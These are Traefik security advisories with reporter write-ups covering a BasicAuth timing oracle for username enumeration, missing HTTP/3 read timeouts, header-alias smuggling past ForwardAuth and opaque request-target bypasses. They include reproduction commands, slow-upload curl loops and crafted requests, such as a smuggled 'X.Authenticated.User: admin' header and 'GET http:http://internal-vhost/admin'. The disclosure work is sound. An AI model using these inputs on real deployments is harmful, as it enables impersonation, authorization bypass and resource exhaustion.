See how traefik compares to other vendors in security performance
Summary
Traefik's BasicAuth middleware coalesces concurrent credential checks through a singleflight.Group to avoid hashing the same password many times at once. Since v3.6.11 the deduplication key was built from the submitted password plus the stored secret, so it depended on server state: a non-existent username collapsed onto one shared key while each configured username produced its own. Under attacker-controlled concurrency, a probe request arriving inside a leader request's in-flight window is served the leader's fast coalesced result when the username does not exist, but computes its own hash (slow) when the username exists — reintroducing, only in the concurrent case, the unauthenticated username-enumeration timing oracle that GHSA-g3hg-j4jv-cwfr had hardened for sequential probing. The fix derives the singleflight key from the submitted credentials (username and password) only, so it no longer depends on whether the account exists or on any stored secret. Traefik v2 is not affected: the v2.11 BasicAuth middleware does not use singleflight coalescing, and Digest authentication is not affected. The impact is limited to username enumeration; no credential disclosure or authentication bypass is possible.
The vulnerability originates on the v3.6 line, which has reached end of life; users on v3.6 or earlier v3.x must upgrade to v3.7.13 to receive the fix.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Confirmed. checkPassword derives the singleflight key from the stored secret, so the key encodes whether the submitted username exists:
- username absent, secret == "", key = len(P) + ":" + P - username present, key = len(P) + ":" + P + secretT
Every non-existent username therefore lands on one shared key, while every configured username gets its own. singleflight.Group.Do makes a follower on an equal key block on the leader's in-flight computation and return the leader's result. So an attacker who sends a leader request with a junk username and password P, then sends the probe for target T with the same P late inside the leader's window, reads user existence directly off the probe's latency: coalesced (fast) means T does not exist, own hash (slow) means T does exist.
This is the exact information leak that the notFoundSecret dummy hash at line 127 exists to remove. Sequential probing is fully equalised (measured ratio 1.00x, so the fix for cwfr / 8j2h does work); the leak reappears only under attacker-controlled concurrency. Confirmed on the current v3.7 head, which already carries the 8mrf singleflight fix, and on master (no later fix exists).
Affected code
- pkg/middlewares/auth/basicauth.go:125 (checkPassword)
Code analysis
pkg/middlewares/auth/basicauth.go:119-131 matches the finding verbatim, including the cited line 125:
go func (b basicAuth) checkPassword(user, password string) bool { // :119 secret := b.auth.Secrets(user, b.auth.Realm) // "" when the user is absent
key := strconv.Itoa(len(password)) + ":" + password + secret // :124 match, , := b.singleflightGroup.Do(key, func() (any, error) { // :125 if secret == "" { = b.checkSecret(password, b.notFoundSecret) // :127 dummy hash, equal cost return false, nil } return b.checkSecret(password, secret), nil }) return match.(bool) }
Two independent properties combine:
1. The dummy hash equalises the cost of one lookup. notFoundSecret is a configured user's real hash (slices.Collect(maps.Values(users))[0]), so absent and present users each perform exactly one hash of the same algorithm and cost. That is why the sequential control below is flat. 2. The key partitions on existence, so coalescing is not equalised. The dummy hash was placed inside the closure (commit 122175ac2, PR #12803), which is what pulls absent users into Do at all. Before that refactor, secret == "" returned false before Do was ever called.
Git archaeology of the whole sequence in this one function:
| Commit | Date | Effect | |---|---|---| | 6f469ee1e | 2024-10-10 | Introduces singleflight to dedupe concurrent hashes (Only calculate basic auth hashes once for concurrent requests). Absent users returned false before Do. | | 122175ac2 (PR #12803) | 2026-03-17 | Fix for cwfr. Moves the empty-secret branch inside the closure, which makes the key existence-dependent for the first time. | | 8c4fc8957 | 2026-04-13 | Fix for 8j2h: notFoundSecret was resolving to "", so the dummy hash was a no-op. | | b5ace8eb5 (PR #13572) | 2026-07-28 | Fix for 8mrf: adds the len(password) + ":" prefix so distinct (password, secret) pairs cannot alias. Keeps the secret in the key and keeps the empty-secret branch inside the closure. |
J15 is the residue of that last fix. It does not depend on the key collision 8mrf closed: the oracle works precisely because the keys differ. The prior analysis of 8mrf recommended keeping "the empty-secret (unconfigured) path out of any key that a configured user can share"; the shipped patch only delimited the key, so the existence dependency survived.
Affected range: >= v3.6.11 (the 122175ac2 refactor) through current v3.7 head and master. Not the v2 line, and not earlier v3 releases, which returned early for absent users. Digest auth does not use singleflight and is unaffected.
Impact scope: username enumeration only. No credential disclosure, no authentication bypass, no result sharing across identities.
Reproduction
Go tests written directly in package auth, driving the real NewBasic handler over a real HTTP server (httptest), with real bcrypt / apr1 hashes and no instrumentation of the vulnerable logic. Files: pkg/middlewares/auth/zzscanpocJ15{,b,c}test.go, deleted after the run.
Commands
cd /Users/emile/go/src/github.com/traefik/traefik go test -count=1 -run TestZZScanPoCJ15 -v ./pkg/middlewares/auth/... go test -count=1 -run TestZZScanPoCJ15Costs -v ./pkg/middlewares/auth/... go test -count=1 -run TestZZScanPoCJ15H2 -v ./pkg/middlewares/auth/...
Probe shape, exactly the claimed scenario: calibrate D with one request, launch a leader with a junk username and password P, sleep 0.9 D, then send the probe with password P and either a configured (alice) or an absent (bob) username, and time the probe. classify=OK means present > 2 absent, i.e. the oracle answered correctly.
Observed, main PoC (test 1)
[bcrypt-cost12] SEQUENTIAL control: absent=249.568275ms present=249.10215ms ratio=1.00x [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 0: absent=21.750833ms present=242.081792ms ratio=11.1x classify=OK [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 1: absent=20.197667ms present=245.234958ms ratio=12.1x classify=OK [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 2: absent=25.675958ms present=243.981375ms ratio=9.5x classify=OK [bcrypt-cost10] SEQUENTIAL control: absent=61.4374ms present=61.049608ms ratio=0.99x [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 0: absent=5.572875ms present=60.8345ms ratio=10.9x classify=OK [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 1: absent=4.042292ms present=61.988792ms ratio=15.3x classify=OK [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 2: absent=4.53825ms present=61.557791ms ratio=13.6x classify=OK [apr1-short-pw] SEQUENTIAL control: absent=360.7µs present=373.116µs ratio=1.03x [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 0: absent=378.167µs present=409.458µs ratio=1.1x classify=FAIL [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 1: absent=352.416µs present=333.875µs ratio=0.9x classify=FAIL [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 2: absent=374.209µs present=349.125µs ratio=0.9x classify=FAIL [apr1-8000B-pw] SEQUENTIAL control: absent=22.159325ms present=21.999433ms ratio=0.99x [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 0: absent=22.089458ms present=22.516708ms ratio=1.0x classify=FAIL [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 1: absent=698.042µs present=21.877ms ratio=31.3x classify=OK [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 2: absent=1.570875ms present=21.945417ms ratio=14.0x classify=OK
The sequential control is the decisive part: 1.00x / 0.99x / 1.03x / 0.99x on every algorithm. The constant-time countermeasure is intact for one-request-at-a-time probing, so the 10x to 15x concurrent separation is attributable to the coalescing and to nothing else. That rules out the alternative explanation that this is just cwfr / 8j2h still unfixed.
Observed, per-algorithm hash cost (test 2)
bcrypt cost10 / short pw -> 60.5919ms per hash bcrypt cost12 / short pw -> 242.384558ms per hash apr1 / short pw -> 128.333µs per hash apr1 / 8000-byte pw -> 42.575816ms per hash
Observed, single HTTP/2 connection (test 3)
Both probes multiplexed as two streams over one TLS connection, which pins them to a single Traefik process even behind an L4 load balancer fronting several replicas:
h2 single-connection: D=63.048ms h2 round 0: absent=7.931459ms present=65.87375ms ratio=8.3x classify=OK h2 round 1: absent=4.255667ms present=64.193291ms ratio=15.1x classify=OK h2 round 2: absent=6.696417ms present=64.695208ms ratio=9.7x classify=OK
Conclusion: REPRODUCED, 9/9 correct classifications on bcrypt, single-shot, no statistics.
Claim-by-claim audit of the finding text:
(truncated ; full analysis in the linked internal report)
Documentation grounding
Not working-as-intended. The governing project document puts this class explicitly in scope.
- docs/content/security/ (header-underscores, request-path, content-length, http2-header-memory, multi-tenant-kubernetes) has no page covering BasicAuth, the timing posture or the singleflight dedup. Grep for timing|basicauth|basic auth|enumerat|singleflight across that directory: no match. No governing security doc, hence no WAI signal from there. - docs/content/contributing/security-decisions.md, section Authentication Middleware Correctness, is the settled public position and it is directly on point:
> Our position. In scope: credential or identity handling that leaks across requests or users, observable timing differences that disclose whether a principal exists, and credentials forwarded to a destination the operator did not authorise. > > Where the line is. Choosing a weak authentication mechanism, or configuring it permissively, is the operator's decision. The middleware failing to deliver what its documentation promises is ours.
(truncated ; full analysis in the linked internal report)
Precedent in comparable projects
Corpus refreshed 2026-08-24 for nginx, ingress-nginx, kong, caddy, apisix, nginx-plus; envoy (2026-06-29), envoy-gateway (2026-06-15), haproxy (2026-07-16) and istio (2026-05-12) are staler.
No exact analogue of a request-deduplication timing oracle. Adjacent prior art:
- Envoy, CVE-2026-47775, medium: "OAuth2 Filter: Padding Oracle via AES-256-CBC Cookie Decryption". A side-channel oracle inside an auth filter, published as a medium CVE. Framed on the observability of the discrepancy, not on the difficulty of measuring it. - Envoy Gateway, CVE-2026-53715 / GHSA-8fv2-88gg-hm7q, medium: "Wasm cache ServeHTTP reads mappingPath2Cache without lock". A concurrency defect in a shared per-process cache in the request path, treated as a real medium CVE and fixed by correcting the shared-state handling. - APISIX, CVE-2025-62232, high: basic-auth credential exposure. Same component, unrelated mechanism (logging).
Takeaway: the industry treats side-channel oracles in auth filters, and concurrency defects in shared per-process request-path caches, as genuine publishable CVEs of roughly this severity. Nothing in the corpus argues the class is by design. The strongest precedent, however, is not a competitor: it is Traefik's own two published CVEs on this exact guarantee.
Recommended fix
Assign for fix. No fix exists: gh search prs --repo traefik/traefik "singleflight" returns only PR #13572 (the merged 8mrf key-collision fix) and "basic auth timing" only PR #12803 / #12796; git log --all on the checkout shows b5ace8eb5 as the last change to pkg/middlewares/auth/ and master (174e5d811, a merge of v3.7) carries nothing later.
Fix shape: remove the secret from the key and qualify it by username. Something along the lines of
go key := strconv.Itoa(len(user)) + ":" + user + ":" + password
with the dummy-hash branch left inside the closure. This is strictly better than the current key on all four counts:
- It closes J15: the key no longer encodes existence, so two absent users no longer share a bucket that a present user is excluded from. Coalescing then happens only for an identical (user, password) pair, which leaks nothing an attacker did not already supply. - It closes 8mrf structurally rather than by delimiting: the stored hash never enters the key, so no choice of password can alias a configured user's key. The len prefix is still needed, now on user, to keep ("ab", "c") and ("a", "bc") apart. - It preserves the purpose of 6f469ee1e: the case that commit exists for is a burst of concurrent requests carrying the same credentials, which is exactly what a username-qualified key still dedupes. - It keeps the constant-time property: one hash of notFoundSecret for absent users, one hash of secret for present ones, unchanged.
Do not fix this by making the dummy branch share the leader's timing envelope; as the finding correctly notes, that only helps if the key stops depending on secret == "".
Secondary, low cost: restore the "Timing attacks" admonition that PR #12803 added to the BasicAuth page. It is the statement of the guarantee, it is the thing security-decisions.md holds the project to, and it is currently absent from the v3.7 docs tree.
If filed: new cluster slug basicauth-singleflight-existence-oracle, sibling of basicauth-singleflight-key-collision, affected range >= v3.6.11 through the current v3.6 / v3.7 heads, v2 unaffected, digest auth unaffected. Correct the 40x claim and the $apr1$ "trivial" claim in the published description per the audit table above.
Provenance
Found by an external automated code scan (CLAUDE-SECURITY-20260824-122205) of pkg/middlewares, pkg/proxy, pkg/server, pkg/muxer and pkg/tls on branch v3.7 at commit d5072ce7b8765c9574246072e05dd81d84950da7, then triaged with the advisory-check process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.
Triage outcome : Likely Valid, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.
Scanner finding id : F16. Internal report : findings/scan-20260824/verdicts/J15.md in the security-advisor repository.
</details>
---
Summary
There is a medium severity vulnerability in Traefik's HTTP/3 entry points: the respondingTimeouts settings were not applied to the HTTP/3 request path. readTimeout in particular is on by default at 60s and is documented as bounding the time to read the entire request including its body, but it is enforced as a deadline on the TCP connection, which cannot reach a QUIC stream, and Traefik's HTTP/3 server was constructed with no timeout of any kind. An unauthenticated client that trickles a request body therefore holds a request open for as long as it chooses, and with it one upstream connection per request, at negligible cost to itself. Backends with bounded connection pools are the practical pressure point.
The HTTP/3 path lost these timeouts in v2.8.2, when a quic-go API change removed the embedded http.Server that had carried them; every release from v2.8.2 onward is affected, and releases before v2.8.2 are not. Traefik v2.8.2 through v2.10.x and v3.0 through v3.6 are affected and are no longer maintained: they will not receive a patch on their own line, and the remedy for their users is to upgrade to v2.11.56 or v3.7.12.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.56 - https://github.com/traefik/traefik/releases/tag/v3.7.12
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
entryPoints.<name>.transport.respondingTimeouts.readTimeout is documented as:
"Set the timeouts for incoming requests to the Traefik instance. This is the maximum duration for reading the entire request, including the body." — Default: 60s
It is on by default and it works over HTTP/1.1 and HTTP/2. It has no effect on HTTP/3.
The consequence is not that a hardening option was left unset. It is that every Traefik deployment with http3 enabled carries a 60-second bound that the operator has every reason to believe is in force, and which is silently absent on that protocol. A single client trickling one body byte every few seconds holds a request open indefinitely, and with it one upstream connection per request.
readTimeout is applied as a deadline on the TCP connection. HTTP/3 does not have one, and Traefik's HTTP/3 server is constructed with no timeout of any kind.
Steps to reproduce
No containers, VMs or cloud services — the official release binary, curl, openssl, and a 68-line Python standard-library backend. Everything is attached.
sh bash reproduce.sh # readTimeout 5s, ~40 seconds MODE=default bash reproduce.sh # the stock 60s default, ~4 minutes
By hand:
1. Static config (conf/traefik.yml, complete and unredacted). Note there is no respondingTimeouts block at all — this is the documented 60s default:
yaml global: checkNewVersion: false sendAnonymousUsage: false
log: level: DEBUG
entryPoints: websecure: address: ":8443" http3: advertisedPort: 8443
providers: file: filename: conf/dynamic.yml
api: dashboard: false
2. Dynamic config (conf/dynamic.yml):
yaml http: routers: backend-router: rule: "PathPrefix(/)" service: backend-svc entryPoints: [websecure] tls: {} services: backend-svc: loadBalancer: servers: - url: "http://127.0.0.1:8080" tls: certificates: - certFile: cert.pem keyFile: key.pem
3. A self-signed cert, so no CA install and no sudo:
sh openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 30 -nodes \ -subj "/CN=localhost" -addext "subjectAltName=DNS:localhost,IP:127.0.0.1"
4. A backend that reads the request body before responding, as a real HTTP/1.1 server does (backend.py, standard library only). This matters: a backend that answers the request headers alone lets Traefik release the upstream connection immediately, which hides the behaviour entirely.
sh python3 backend.py 8080 & ./traefik --configFile=conf/traefik.yml
5. The same slow upload over each protocol. The hold must exceed the timeout under test, so 92 seconds against the 60-second default:
sh { for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \ curl -v -k -T - --http1.1 https://localhost:8443/
{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \ curl -v -k -T - --http3-only https://localhost:8443/
Result
Traefik v3.7.10 (langres, go1.26.5), official traefikv3.7.10linuxamd64.tar.gz, sha256 01811bb12d44f17280550f425f5e3128d6c325f2665c09e67a651ca535f490ce.
Upstream connection lifetime measured at the backend — the client's view only shows the absence of a server action, which proves nothing on its own:
| config | hold | HTTP/1.1 (control) | HTTP/3 | |---|---|---|---| | stock — documented 60s default | 92 s | 59.99 s — released at the documented default | 92.94 s — held for the entire window | | readTimeout: 5s | 30 s | 4.99 s | 30.98 s |
The HTTP/1.1 column is the control and it is the point of the exercise: the timeout is demonstrably live on this exact binary, releasing the upstream at its configured value. The HTTP/3 request, in the same run against the same instance with the same setting, ran to completion with the upstream pinned throughout. Traefik returned 499 on the aborted HTTP/1.1 arm and took no action at all on HTTP/3 — no RSTSTREAM, no H3REQUESTINCOMPLETE, no connection close.
The setting is not being silently discarded: Traefik's own DEBUG log prints the loaded static configuration including "respondingTimeouts":{"idleTimeout":"3m0s","readTimeout":"5s"}. Full curl -v output, backend logs and Traefik DEBUG logs for every arm are in evidence/.
Cause
readTimeout is a TCP connection deadline — pkg/server/serverentrypointtcp.go:273:
go if e.transportConfiguration.RespondingTimeouts.ReadTimeout > 0 { err := writeCloser.SetReadDeadline(time.Now().Add(time.Duration(e.transportConfiguration.RespondingTimeouts.ReadTimeout)))
A deadline on a TCP connection cannot reach a QUIC stream.
And the HTTP/3 server is given no timeout of any kind — pkg/server/serverentrypointtcphttp3.go:65:
go h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getTLSConfigForClient}, QUICConfig: &quic.Config{ Allow0RTT: false, }, ConnContext: func(ctx context.Context, c quic.Conn) context.Context {
It reuses the HTTPS server's handler and inherits none of its timeouts. There is therefore no duration control on the HTTP/3 request path at all — not readTimeout, not idleTimeout, nothing.
Note that this cannot be fixed by passing a field through: quic-go's http3.Server exposes no request-read deadline. The remedy has to be enforced around the request body inside the handler, or upstream in quic-go.
Suggested remedy
In preference order:
1. Enforce readTimeout on the HTTP/3 path in the handler. Traefik already passes the HTTPS server's handler to http3.Server, so when RespondingTimeouts.ReadTimeout > 0 it can wrap r.Body for HTTP/3 requests in a reader that enforces the deadline. 2. Add a request-read deadline upstream in quic-go's http3.Server and pass it through. 3. At minimum, document it. See below — the current documentation does not tell an operator this.
A sketch of option 1
Offered as a description of the shape, not as a patch. I have not built or tested this against Traefik, and I am not going to present untested code as though I had. If a working, tested patch would be useful, say so and I will prepare one properly and verify it against the reproducer above.
Where the HTTP/3 handler is wired up — serverentrypointtcphttp3.go, around the http3.Server construction — the handler passed in could be wrapped so that, when ReadTimeout is configured, an HTTP/3 request body carries the same deadline the TCP path gets from SetReadDeadline:
go // Roughly: for HTTP/3 requests only, and only when the timeout is set. if readTimeout > 0 && r.ProtoMajor == 3 && r.Body != nil { r.Body = deadlineBody(r.Body, readTimeout) }
The part worth knowing, because it is what makes the approach work rather than merely look tidy: closing the request body cancels the QUIC stream read. In quic-go, http3's body Close() calls str.CancelRead(...), which unblocks a Read that is already parked waiting on the client. So a timer that closes the body on expiry bounds both a client that trickles and a client that simply stops sending — the latter being the case a wrapper that only checks the clock on each returning Read would miss entirely.
Returning os.ErrDeadlineExceeded from the wrapped Read keeps the failure classified as a timeout rather than a client abort, which matters for whatever status code and logging you decide is right.
Two design questions I would not want to answer on your behalf: whether HTTP/3 should reuse respondingTimeouts.readTimeout or get its own setting, and whether enforcement belongs in the handler wrapper or somewhere closer to the entrypoint. Both are your call.
A documentation issue, separately
Two things in the docs are worth correcting regardless of how the code question is resolved.
1. The readTimeout description carries no protocol qualification. It says "the maximum duration for reading the entire request, including the body", which is exactly what an operator relies on. The entrypoint page does note that respondingTimeouts have "no effect for UDP entryPoints", but that does not cover this case: HTTP/3 here is served on an HTTP entrypoint with an http3: block, not on a Traefik UDP entrypoint, which is a separate feature for UDP routers. An operator who adds http3: to their existing HTTPS entrypoint has not created a UDP entrypoint and has no reason to read that caveat as applying to them.
2. SECURITY.md's supported-versions table is stale. It lists 3.6.x as supported and < 3.6.x as unsupported, while 3.7.10 is the current release. Anyone checking whether their version is in scope before reporting gets a confusing answer.
Impact
Each held request occupies one upstream connection for as long as the client chooses, at negligible cost to the client, and the same client can open many. Backends with bounded connection pools are the practical pressure point.
I have not measured a concurrency ceiling on Traefik itself, so I am not asserting one. If that number matters to your assessment, tell me and I will measure it.
LLM ("AI") use disclosure
Not required by your policy, but stated because it is true and you should be able to weigh it. I am a penetration tester, not a Go developer. The finding, the attack concept and the decision to measure the upstream leg rather than the client are mine. An LLM coding assistant (Claude) built the test harness, ran the matrix, and located the two source citations; I verified those by hand against the v3.7.10 tag and ran the reproducer myself. I am a human and I will be the one replying in this thread.
Disclosure
Bishop Fox operates a 90-day disclosure policy, starting the day this is submitted, with extensions where a fix is in progress. Tell me what you would prefer and I will work to it.
Environment
- Traefik v3.7.10, official traefikv3.7.10linuxamd64.tar.gz, sha256 01811bb12d44f17280550f425f5e3128d6c325f2665c09e67a651ca535f490ce - Kali GNU/Linux (WSL2), kernel 6.6.114.1 - curl 8.19.0 with ngtcp2 1.21.0 / nghttp3 1.15.0### Summary Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.
Impact What kind of vulnerability is it? Who is impacted?
</details> ---
Summary
There is a medium severity vulnerability in Traefik's handling of request headers whose name aliases another header name. Go canonicalizes header names on dashes only, so X-Auth-User, XAuthUser and X.Auth.User are three distinct headers to Traefik, while backends that derive variable names from header names (CGI, WSGI, PHP, NGINX, and others) collapse all of them into the same variable. A client can therefore smuggle an alias of a header that Traefik manages past the middleware managing it — for example a dot-form X.Authenticated.User alongside the canonical X-Authenticated-User written by the ForwardAuth middleware — and have such a backend read the client-supplied value instead of the identity Traefik asserted. Any header Traefik sets is exposed, not only ForwardAuth's. This is an incomplete-fix sibling of GHSA-x677-9fxg-v5c5, which blocked only the underscore form.
The mitigation is the new aliasHeadersStrategy entry point option. It defaults to keep, which preserves the previous behavior for backwards compatibility, so it must be explicitly set to delete or reject to take effect.
Traefik v1.x, the v2 releases up to v2.11.55 and the v3 releases from v3.0.0 to v3.7.11 are affected. The unmaintained lines among them will not receive a patch of their own, and the remedy for their users is to upgrade to v2.11.56 or v3.7.12 and set aliasHeadersStrategy.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.56 - https://github.com/traefik/traefik/releases/tag/v3.7.12
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary Traefik's ForwardAuth middleware removes the configured canonical identity header before copying the value returned by the auth service. However, a client-supplied dot-form alias such as X.Authenticated.User survives both this replacement and underscoreHeadersStrategy: delete.
The tested PHP 8.2 built-in SAPI maps X-Authenticated-User and X.Authenticated.User to the same HTTPXAUTHENTICATEDUSER server variable. In Traefik's tested HTTP/1 backend path, the client value is serialized last and overrides the identity asserted by ForwardAuth.
A client whom ForwardAuth permits as a lower-privilege identity can therefore be treated by the backend as another user or role.
Details At v3.7.10, pkg/server/serverentrypointtcp.go:800-818 removes or rejects only names containing . After successful authentication, pkg/middlewares/auth/forward.go:314-326 deletes and replaces only the canonical authResponseHeaders key. The dot alias remains in req.Header and the standard reverse proxy forwards both legal field names.
Go's HTTP/1 writer sorts header names lexically, placing X-Authenticated-User before X.Authenticated.User. PHP then collapses both into one $SERVER key, so the attacker value deterministically wins.
This is an incomplete-fix sibling of GHSA-x677-9fxg-v5c5: the published underscore input is blocked by the new entry-point strategy, while the dot input bypasses that mitigation on the current stable release.
PoC traefik-dot-forwardauth-poc.zip
run: bash docker compose up -d bash verify.sh docker compose down
The decisive request is:
http GET /probe HTTP/1.1 Host: 127.0.0.1:18080 X.Authenticated.User: admin Connection: close
Expected backend identity: lab-user, as returned by ForwardAuth.
Observed on v3.7.10: admin.
The script also verifies that requests without the alias, with the canonical header, and with the already-fixed underscore alias all produce lab-user.
Impact Applications that authorize requests using a ForwardAuth-provided identity header can receive an attacker-selected username or role instead. This was runtime-verified with PHP 8.2.27 and 8.2.33; impact on other normalization-prone backends is conditional. A lower-privilege permitted client may consequently impersonate another user or administrative role, affecting confidentiality and integrity.
This report does not claim bypass of a ForwardAuth denial: the auth service must first permit the request.
</details> ---
Summary
Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example GET http:http://internal-vhost/admin HTTP/1.1). Go parses this into URL.Opaque with an empty URL.Path, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to /, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, forwardAuth path-scoped policies and the encodedCharacters hardening never see the real target, and the access log records every such request as GET / HTTP/1.1. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.
Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57 - https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The scanner claims rewriteRequestBuilder (pkg/proxy/httputil/proxy.go:97) rebuilds the outbound target from URL.Path / RawPath / RawQuery but never clears URL.Opaque, so a client sending a rootless request-target (GET http:http://internal-vhost/admin HTTP/1.1) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.
The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image traefik:v3.7 (v3.7.9, go1.26.5) with stock entrypoint defaults. Three separate consequences were observed on the wire, not inferred:
1. Cross-vhost routing bypass. Traefik matched Host(app.example.com), nginx served the internal-vhost server block. 2. Path-scoped authorization bypass. A forwardAuth guard that denies ^/admin returned DENY for /admin and ALLOW for the opaque form of the same request, which then reached /admin on the backend. 3. Access-log evasion. All three requests, benign and malicious, were logged identically as "GET / HTTP/1.1".
Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening encodedCharacters.allowEncodedSlash=false rejects the canonical /admin%2f..%2fsecret with 400, and does not fire at all on the opaque form carrying the identical payload.
This is not the "the operator left an opt-in permissive" shape that lesson L-012 and guideline G-03 teach us to decline. The hardening is enabled and is structurally bypassed.
Affected code
- pkg/proxy/httputil/proxy.go:97 (rewriteRequestBuilder) - pkg/muxer/http/mux.go:139 (withRoutingPath)
Code analysis
The sink
pkg/proxy/httputil/proxy.go:87-105 sets Scheme, Host, Path, RawPath, RawQuery on pr.Out.URL and clears pr.Out.RequestURI. It never touches pr.Out.URL.Opaque, which httputil.ReverseProxy carried over from the inbound request clone:
go pr.Out.URL.Scheme = target.Scheme pr.Out.URL.Host = target.Host ... pr.Out.URL.Path = u.Path pr.Out.URL.RawPath = u.RawPath ... pr.Out.RequestURI = "" // Outgoing request should not have RequestURI
net/http's Request.write then does ruri := r.URL.RequestURI(), and url.URL.RequestURI() returns Opaque in preference to the escaped path whenever Opaque != "". So the wire target is the attacker's string, and every field the proxy carefully set is ignored.
How Opaque gets populated
net/http's readRequest ($GOROOT/src/net/http/request.go:1104-1127) applies no origin-form check: it calls url.ParseRequestURI(rawurl) directly, and the only special case is CONNECT. url.parse returns early with Opaque = rest whenever a scheme is present and the remainder does not start with /, even for viaRequest = true. So http:http://internal-vhost/admin parses to {Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}.
Note that this string is a syntactically valid absolute-URI per RFC 3986 (path-rootless, and : is a legal pchar), so it is a legal absolute-form request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is rewriting it into a different URI when forwarding: Traefik receives a URI with no authority and emits one whose authority is internal-vhost, because RequestURI() only re-prefixes the scheme when Opaque begins with //.
Why the entry-point pipeline does not catch it
- denyFragment inspects req.URL.RawPath → empty → passes. - normalizePath returns early when RawPath == "" → passes. - sanitizePath (pkg/server/serverentrypointtcp.go:849) does r2.URL = r2.URL.JoinPath(). JoinPath does url := u, which copies Opaque, and setPath("/"). It then does r2.RequestURI = r2.URL.RequestURI(), which returns the Opaque string. Net effect: URL.Path becomes "/", Opaque survives untouched, and RequestURI is rewritten to the attacker's authority-bearing form. - The muxer matches on URL.Path == "/", so any Host(...)-only or PathPrefix(/) router matches. Host matching uses req.Host, which is the Host: header because URL.Host is empty for the opaque form. - encodedcharacters (pkg/middlewares/encodedcharacters/encodedcharacters.go:41) scans req.URL.EscapedPath(), which is "/". The denylist can never fire. - accesslog (pkg/middlewares/accesslog/logger.go:244-253) rebuilds urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment} and drops Opaque, so RequestPath is logged as /. - forwardauth (pkg/middlewares/auth/forward.go:473,499) sets X-Forwarded-Uri from req.URL.RequestURI(), so the auth server receives the string http://internal-vhost/admin, which matches neither the router's view (/) nor any normal path-prefix rule. It fails open against a prefix-based policy.
Scope
The experimental fast proxy has the identical defect: pkg/proxy/fast/proxy.go does u2 := req.URL (copying Opaque) and outReq.SetRequestURI(u2.RequestURI()) at line 216. The scanner's location call is accurate for both.
Note this pattern is inherited from net/http/httputil.ReverseProxy, whose own NewSingleHostReverseProxy director also leaves Opaque set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.
Reproduction (J04, F4)
Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone).
A. In-tree Go test (pkg/server, deleted after the run)
Entry-point chain assembled in newHTTPServer order (denyFragment → normalizePath → sanitizePath → requestdecorator → real httpmuxer with Host(app.example.com) → real httputil.ProxyBuilder), fronted by a real net/http server, driven over a raw TCP socket.
Command: go test -run TestScanPocJ04Opaque -v ./pkg/server/
Observed: === RUN TestScanPocJ04Opaque/controloriginform status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com" === RUN TestScanPocJ04Opaque/rootlessopaqueform status="200 OK" reachedBackend=true routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com") backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret") === RUN TestScanPocJ04Opaque/rootlessopaqueformsimple status="200 OK" reachedBackend=true routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com") backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="") === RUN TestScanPocJ04Opaque/absoluteform status="404 Not Found" reachedBackend=false --- PASS: TestScanPocJ04Opaque (2.01s)
